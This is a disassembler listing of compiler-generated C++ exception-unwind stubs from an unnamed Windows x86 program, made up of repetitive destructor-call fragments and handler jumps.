SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE40	proc near		; DATA XREF: sub_40EE40+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F218o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B68
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F6D0	proc near		; DATA XREF: sub_40F6D0+2o
		mov	eax, offset dword_4407F0
		jmp	sub_437AB8
SEH_40F6D0	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A568:				; DATA XREF: ___:0044097Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE70	proc near		; DATA XREF: sub_40FE70+2o
		mov	eax, offset dword_440950
		jmp	sub_437AB8
SEH_40FE70	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A69B:				; DATA XREF: ___:00440A34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6B1:				; DATA XREF: ___:00440A44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6BC:				; DATA XREF: ___:00440A4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6C7:				; DATA XREF: ___:00440A54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6D2:				; DATA XREF: ___:00440A5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6DD:				; DATA XREF: ___:00440A64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6E8:				; DATA XREF: ___:00440A6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6F3:				; DATA XREF: ___:00440A74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A709:				; DATA XREF: ___:00440A84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A714:				; DATA XREF: ___:00440A8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A71F:				; DATA XREF: ___:00440A94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72A:				; DATA XREF: ___:00440A9Co
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A799:				; DATA XREF: ___:00440AE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7A4:				; DATA XREF: ___:00440AECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7B2:				; DATA XREF: ___:00440AF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7C0:				; DATA XREF: ___:00440AFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7E1:				; DATA XREF: ___:00440B14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7F7:				; DATA XREF: ___:00440B24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A80D:				; DATA XREF: ___:00440B34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A818:				; DATA XREF: ___:00440B3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A823:				; DATA XREF: ___:00440B44o
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A82E:				; DATA XREF: ___:00440B4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A839:				; DATA XREF: ___:00440B54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A84F:				; DATA XREF: ___:00440B6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A85A:				; DATA XREF: ___:00440B7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A865:				; DATA XREF: ___:00440B84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A87B:				; DATA XREF: ___:00440B9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A891:				; DATA XREF: ___:00440BB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8A7:				; DATA XREF: ___:00440BC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8B2:				; DATA XREF: ___:00440BCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8D3:				; DATA XREF: sub_410030+8o
		mov	eax, offset dword_440A08
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411930	proc near		; DATA XREF: sub_411930+2o
		mov	eax, offset dword_440C18
		jmp	sub_437AB8
SEH_411930	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4119E0	proc near		; DATA XREF: sub_4119E0+2o
		mov	eax, offset dword_440C48
		jmp	sub_437AB8
SEH_4119E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9B8:				; DATA XREF: ___:00440CA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A60	proc near		; DATA XREF: sub_411A60+2o
		mov	eax, offset dword_440C78
		jmp	sub_437AB8
SEH_411A60	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AA18:				; DATA XREF: ___:00440CFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B20	proc near		; DATA XREF: sub_411B20+2o
		mov	eax, offset dword_440CD0
		jmp	sub_437AB8
SEH_411B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411C10	proc near		; DATA XREF: sub_411C10+8o
		mov	eax, offset dword_440D28
		jmp	sub_437AB8
SEH_411C10	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AAE8:				; DATA XREF: ___:00440DD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4120B0	proc near		; DATA XREF: sub_4120B0+8o
		mov	eax, offset dword_440DA8
		jmp	sub_437AB8
SEH_4120B0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_43AB90:				; DATA XREF: ___:00440E74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ABAE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ABAE:				; CODE XREF: ___:0043ABA0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412780	proc near		; DATA XREF: sub_412780+2o
		mov	eax, offset dword_440E48
		jmp	sub_437AB8
SEH_412780	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ABD8:				; DATA XREF: ___:00440EACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412A40	proc near		; DATA XREF: sub_412A40+8o
		mov	eax, offset dword_440E80
		jmp	sub_437AB8
SEH_412A40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412CE0	proc near		; DATA XREF: sub_412CE0+2o
		mov	eax, offset dword_440EB8
		jmp	sub_437AB8
SEH_412CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC18:				; DATA XREF: ___:00440F14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC4E:				; DATA XREF: ___:00412D88o
		mov	eax, offset dword_440EE8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC7B:				; DATA XREF: ___:00440F74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131F0	proc near		; DATA XREF: sub_4131F0+2o
		mov	eax, offset dword_440F48
		jmp	sub_437AB8
SEH_4131F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132F0	proc near		; DATA XREF: sub_4132F0+2o
		mov	eax, offset dword_440F90
		jmp	sub_437AB8
SEH_4132F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133B0	proc near		; DATA XREF: sub_4133B0+2o
		mov	eax, offset dword_440FD8
		jmp	sub_437AB8
SEH_4133B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4134A0	proc near		; DATA XREF: sub_4134A0+2o
		mov	eax, offset dword_441010
		jmp	sub_437AB8
SEH_4134A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4135E0	proc near		; DATA XREF: sub_4135E0+2o
		mov	eax, offset dword_441040
		jmp	sub_437AB8
SEH_4135E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401582
; ---------------------------------------------------------------------------


loc_43AD78:				; DATA XREF: ___:0044109Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413740	proc near		; DATA XREF: sub_413740+2o
		mov	eax, offset dword_441070
		jmp	sub_437AB8
SEH_413740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD98:				; DATA XREF: ___:004410D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4138B0	proc near		; DATA XREF: sub_4138B0+2o
		mov	eax, offset dword_4410A8
		jmp	sub_437AB8
SEH_4138B0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADD8:				; DATA XREF: ___:00441114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401582

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A80	proc near		; DATA XREF: sub_413A80+2o
		mov	eax, offset dword_4410E8
		jmp	sub_437AB8
SEH_413A80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE08:				; DATA XREF: ___:00413BB2o
		mov	eax, offset dword_441128
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE28:				; DATA XREF: ___:00441184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE30:				; DATA XREF: ___:0044118Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43AE3B:				; DATA XREF: ___:00441194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413C40	proc near		; DATA XREF: sub_413C40+2o
		mov	eax, offset dword_441158
		jmp	sub_437AB8
SEH_413C40	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE68:				; DATA XREF: ___:004411CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E70	proc near		; DATA XREF: sub_413E70+2o
		mov	eax, offset dword_4411A0
		jmp	sub_437AB8
SEH_413E70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEBB:				; DATA XREF: ___:00441224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


